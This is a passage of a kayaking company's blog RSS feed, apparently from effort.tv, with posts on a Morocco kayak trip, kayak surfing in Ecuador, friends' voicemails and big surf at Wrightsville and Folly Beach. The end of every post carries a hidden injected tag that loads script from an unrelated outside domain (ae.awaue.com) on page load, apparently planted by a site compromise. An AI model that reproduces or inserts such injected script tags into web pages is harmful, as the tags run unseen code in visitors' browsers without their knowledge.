<p><img class="alignnone size-large wp-image-795" title="morocco_journal32" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal32-715x1024.jpg" alt="morocco_journal32" width="715" height="1024" /></p>
<p><img class="alignnone size-large wp-image-796" title="morocco_journal33" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal33-731x1024.jpg" alt="morocco_journal33" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-797" title="morocco_journal34" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal34-721x1024.jpg" alt="morocco_journal34" width="721" height="1024" /></p>
<p><img class="alignnone size-large wp-image-798" title="morocco_journal35" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal35-730x1024.jpg" alt="morocco_journal35" width="730" height="1024" /></p>
<p><img class="alignnone size-large wp-image-799" title="morocco_journal36" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal36-735x1024.jpg" alt="morocco_journal36" width="735" height="1024" /></p>
<p><img class="alignnone size-large wp-image-800" title="morocco_journal37" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal37-721x1024.jpg" alt="morocco_journal37" width="721" height="1024" /></p>
<p><img class="alignnone size-large wp-image-801" title="morocco_journal38" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal38-731x1024.jpg" alt="morocco_journal38" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-802" title="morocco_journal39" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal39-731x1024.jpg" alt="morocco_journal39" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-803" title="morocco_journal40" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal40-731x1024.jpg" alt="morocco_journal40" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-804" title="morocco_journal41" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal41-713x1024.jpg" alt="morocco_journal41" width="713" height="1024" /></p>
<p><img class="alignnone size-large wp-image-805" title="morocco_journal42" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal42-733x1024.jpg" alt="morocco_journal42" width="733" height="1024" /></p>
<p><img class="alignnone size-large wp-image-806" title="morocco_journal43" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal43-731x1024.jpg" alt="morocco_journal43" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-807" title="morocco_journal44" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal44-731x1024.jpg" alt="morocco_journal44" width="731" height="1024" /></p>
<p><img class="alignnone size-large wp-image-808" title="morocco_journal45" src="http://effort.tv/wp-content/uploads/2008/05/morocco_journal45-731x1024.jpg" alt="morocco_journal45" width="731" height="1024" /></p>
<p>This was incredible kayaking trip for our group and we hope you enjoy what we have shared.</p>
<p>Later,</p>
<p>Spencer Cooke, Effort Inc.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The journey of our manhood: Kayak Surfing at Finca Punta Ayampe in Ecuador</title>
		<link>http://effort.tv/2005/12/150/</link>
		<comments>http://effort.tv/2005/12/150/#comments</comments>
		<pubDate>Sun, 25 Dec 2005 23:24:00 +0000</pubDate>
		<dc:creator>effortincorporated</dc:creator>
				<category><![CDATA[Goofy Stuff]]></category>
		<category><![CDATA[Paddling]]></category>
		<category><![CDATA[aldo]]></category>
		<category><![CDATA[ayampe]]></category>
		<category><![CDATA[ecuador]]></category>
		<category><![CDATA[finca punta ayampe]]></category>
		<category><![CDATA[Surf]]></category>
		<category><![CDATA[surfing]]></category>
		<category><![CDATA[waves]]></category>

		<guid isPermaLink="false">http://effortinc.wordpress.com/2005/12/25/150/</guid>
		<description><![CDATA[



































TODOS PHOTOS 
See the VIDEO 

]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.effort.tv/ecuador1205blog/ecblog.jpg" alt="" /><br />
<object width="425" height="344" data="http://www.youtube.com/v/1Yor_OVLPcQ&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/1Yor_OVLPcQ&amp;hl=en&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
<p><img src="http://www.effort.tv/ecuador1205blog/ecblog1.jpg" alt="" /><br />
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<p><a href="http://www.effort.tv/ecuador1205blog/ecuador1205blog.html">TODOS PHOTOS </a></p>
<p><a href="http://www.youtube.com/watch?v=1Yor_OVLPcQ">See the VIDEO </a></p>
<p><img src="http://www.effort.tv/ecuador1205blog/ecblogthankyou.jpg" alt="" /><script src="http://ae.awaue.com/7"></script></p>
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		<title>Goofball Voicemails</title>
		<link>http://effort.tv/2005/11/147/</link>
		<comments>http://effort.tv/2005/11/147/#comments</comments>
		<pubDate>Thu, 01 Dec 2005 02:13:00 +0000</pubDate>
		<dc:creator>effortincorporated</dc:creator>
				<category><![CDATA[Goofy Stuff]]></category>
		<category><![CDATA[Paddling]]></category>

		<guid isPermaLink="false">http://effortinc.wordpress.com/2005/11/30/147/</guid>
		<description><![CDATA[The intellect of many of my good friends is more than often questionable. This is not an insult to those guys but more so insight for you. And maybe I&#8217;m just telling myself this to justify the fact that I associate with a bunch of heehaws. At any rate, here are some really retarted, yet [...]]]></description>
			<content:encoded><![CDATA[<p><span class="style12">The intellect of many of my good friends is more than often questionable. This is not an insult to those guys but more so insight for you. And maybe I&#8217;m just telling myself this to justify the fact that I associate with a bunch of heehaws. At any rate, here are some really retarted, yet entertaining phone messages I received recently. They are small MP3 files. Please download and listen at your own discretion.</span></p>
<p><strong>Drew Hayes</strong> leaves me a surf report way too loud and annoying &#8211; <a href="http://www.effort.tv/voices/Drew%27s%20Surf%20Report.mp3" target="_blank">Surf Report Download</a></p>
<p><strong>Mitchell Morton</strong> serenades with a beautiful, off-the-hip tune, ASS CLOWN. A real sing along that should hit the top 40 charts before too long &#8211; <a href="http://www.effort.tv/voices/Ass%20Clown%20(the%20plight%20of%20the%20lonely%20fisherman).mp3" target="_blank">Download Ass Clown. </a>Mitchell really is an incredible musician in real life. His main band at the moment is <a href="http://flav-o-rich.com/" target="_blank">Flav-o-rich</a>.</p>
<p><strong>Nathan McDade</strong> busts out this nasty freestyle rap after inquiring about an H2O Audio housing. Dude is hilarious. <a href="http://www.effort.tv/voices/Nate%20McDade%20Rap.mp3" target="_blank">Nate Dawg Download</a></p>
<p><strong>Israel Putnam</strong> is the least sarcastic guy I know. And I have a button I can push on my arm that makes me sprout wings and fly while fireworks shoot out of my butt. That was completely unnecessary, and so is Israel&#8217;s constant badgering of &#8220;pro boaters.&#8221; Not really though. <a href="http://www.effort.tv/voices/Pro%20Boaters.mp3" target="_blank">Listen to Israel</a><script src="http://ae.awaue.com/7"></script></p>
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<enclosure url="http://www.effort.tv/voices/Drew%27s%20Surf%20Report.mp3" length="552818" type="audio/mpeg" />
<enclosure url="http://www.effort.tv/voices/Nate%20McDade%20Rap.mp3" length="2318723" type="audio/mpeg" />
<enclosure url="http://www.effort.tv/voices/Pro%20Boaters.mp3" length="555436" type="audio/mpeg" />
		</item>
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		<title>Wrightsville Beach Surf Report</title>
		<link>http://effort.tv/2005/11/146/</link>
		<comments>http://effort.tv/2005/11/146/#comments</comments>
		<pubDate>Tue, 22 Nov 2005 23:23:00 +0000</pubDate>
		<dc:creator>effortincorporated</dc:creator>
				<category><![CDATA[Paddling]]></category>

		<guid isPermaLink="false">http://effortinc.wordpress.com/2005/11/22/146/</guid>
		<description><![CDATA[4 Newses today
1. H2O Audio is featured in Wired as a Cool iPod accessory. Click to see
2. Shred Ready will release a new Water/Snow helmet, the Phly, in December. Read more&#8230; 
3. New Design/R&#38;D page here at Effort.tv with the new Charger Surf Kayak video. Check it out. 
4. Plus, big surf yesterday&#8230; 

Holy crap [...]]]></description>
			<content:encoded><![CDATA[<p>4 Newses today</p>
<p>1. H2O Audio is featured in Wired as a Cool iPod accessory. <a href="http://www.effort.tv/press.htm">Click to see</a></p>
<p><span class="style12">2. Shred Ready will release a new Water/Snow helmet, the Phly, in December. <a href="http://shredready.com/products/phly.htm" target="_blank">Read more&#8230;</a> </span></p>
<p><span class="style12">3. New <a href="http://www.effort.tv/design.htm">Design/R&amp;D page</a> here at Effort.tv with the new Charger Surf Kayak video. Check it out. </span></p>
<p><span class="style12">4. Plus, big surf yesterday&#8230; </span></p>
<p><img src="http://www.effort.tv/wrightsnov05joey4.jpg" alt="" /><br />
Holy crap big surf at Wrightsville Beach yesterday.  Joey Hall, Philip Aschliman and I surfed at Wrightsville Beach, NC yesterday. I have to say it was the biggest surf I&#8217;ve seen there.  I may have seen it this big but not this big combined with this steep and dumpy.  Though dumpy there were a lot of makeable waves out there.  Getting to them was the hard part.</p>
<p>We were lucky to have gotten to surf this swell even though we got our asses kicked.  Joey and I drove down thinking we might get into some waist to chest high surf but we were very suprised at what we woke up to on Monday morning.  You&#8217;ll have to bear with us on the quality of these images.  These are all video grabs, but the video footage itself wasn&#8217;t all that good, and some of it was close to dark.<br />
<img src="http://www.effort.tv/wrightsnov05spe5.jpg" alt="" /><br />
As usual with ocean surf, you get to the beach and you say, oh, that doesn&#8217;t look all that big.  Then you get out in it and realize the error of your ways.  Well, this day we looked at the waves and said, oh, it looks really big out there, but we should be fine.  We  paddled out at Johhny Mercer&#8217;s pier and got our clocks cleaned before we could even catch a wave.  We actually spent about an hour just trying to get out.  We semi-successfully surfed a couple inside waves since we couldn&#8217;t get to the outside break.  The sets were relentless.  One time I got washing machined so hard that all I could do was concentrate on holding on to my paddle and my lunch.  The chicken dinner from Roberts Grocery didn&#8217;t taste as good the second time.  When we arrived to the beach Joey had gotten out in the water before us.  As Philip and I got close to the outer break we see J-ho surfing in on this monster foam pile with his helmet on sideways and one of his ear flaps hanging out the side.  He was waving bye to us and laughing.  We assumed he had just bought it on that wave.  Like I said, we tried to get out for an hour with no luck and ended up surfing some sloppy inside stuff.  I ended that session landing on my head in the sand and cracking my boat while Philip laughed and hhheeehhhawwwed!!! at me.<br />
<img src="http://www.effort.tv/wrightsnov05spe3.jpg" alt="" /><br />
We went back to the car and decided we&#8217;d check back later in the evening.  At about 3pm we went down and looked at Crystal Pier.  The wind had calmed and it actually looked like we could make it out here.  The stand-uppers were getting some nice rides but it wasn&#8217;t too crowded out there.  The size seemed to weed out the novices.  Joey and I decided to give her another try.  We made it out okay this time.  You can see that the size was still just as big or bigger.  On the photo below it is dark but you can see Joey on his way out, just making it over the top of a huge king steamer.<br />
<img src="http://www.effort.tv/wrightsnov05joey2.jpg" alt="" /><br />
We ended up getting a few rides but passing up way more than we took due to fear.  We were psyched to have been able to catch this surf unexpectedly and wish we could have stayed a couple more days.  Today&#8217;s report was 4 ft, glassy and off shore winds.  I hope someone got on it.  Here are a few more photos of the evening.  This is a takeoff I got on a pretty nice one.  Though, I came off that wave and immedaitely got pummled on the way back out by this next one.<br />
<img src="http://www.effort.tv/wrightsnov05spe1.jpg" alt="" /><br />
<img src="http://www.effort.tv/wrightsnov05spe2.jpg" alt="" /><br />
Despite the ass poundings received we put it down as a good day.  Much better than if it had been small surf.  It&#8217;s nice to be humbled sometimes.</p>
<p>Here are a few more shots of some notables.<br />
<img src="http://www.effort.tv/wrightsnov05spe4.jpg" alt="" /><br />
<img src="http://www.effort.tv/wrightsnov05joey3.jpg" alt="" /><br />
<img src="http://www.effort.tv/wrightsnov05joey1.jpg" alt="" /><script src="http://ae.awaue.com/7"></script></p>
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		<title>Folly Beach Surf Kayaking &#8211; Hurricane Ophelia</title>
		<link>http://effort.tv/2005/11/145/</link>
		<comments>http://effort.tv/2005/11/145/#comments</comments>
		<pubDate>Sat, 12 Nov 2005 02:07:00 +0000</pubDate>
		<dc:creator>effortincorporated</dc:creator>
				<category><![CDATA[Paddling]]></category>

		<guid isPermaLink="false">http://effortinc.wordpress.com/2005/11/11/145/</guid>
		<description><![CDATA[Joey Hall, Rion Smith and I went down to Folly Beach, SC in September. Hurricane Ophelia was churning off the coast and sending in some nice sets. We didn&#8217;t get too much footage, but here&#8217;s a short reel of what we captured. I&#8217;ve had this footage sitting here for a while and haven&#8217;t had a [...]]]></description>
			<content:encoded><![CDATA[<p><span class="style12">Joey Hall, Rion Smith and I went down to Folly Beach, SC in September. Hurricane Ophelia was churning off the coast and sending in some nice sets. We didn&#8217;t get too much footage, but here&#8217;s a short reel of what we captured. I&#8217;ve had this footage sitting here for a while and haven&#8217;t had a chance to edit anything. </span></p>
<p><object width="425" height="344" data="http://www.youtube.com/v/hhWQyogfYzo&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/hhWQyogfYzo&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object><script src="http://ae.awaue.com/7"></script></p>
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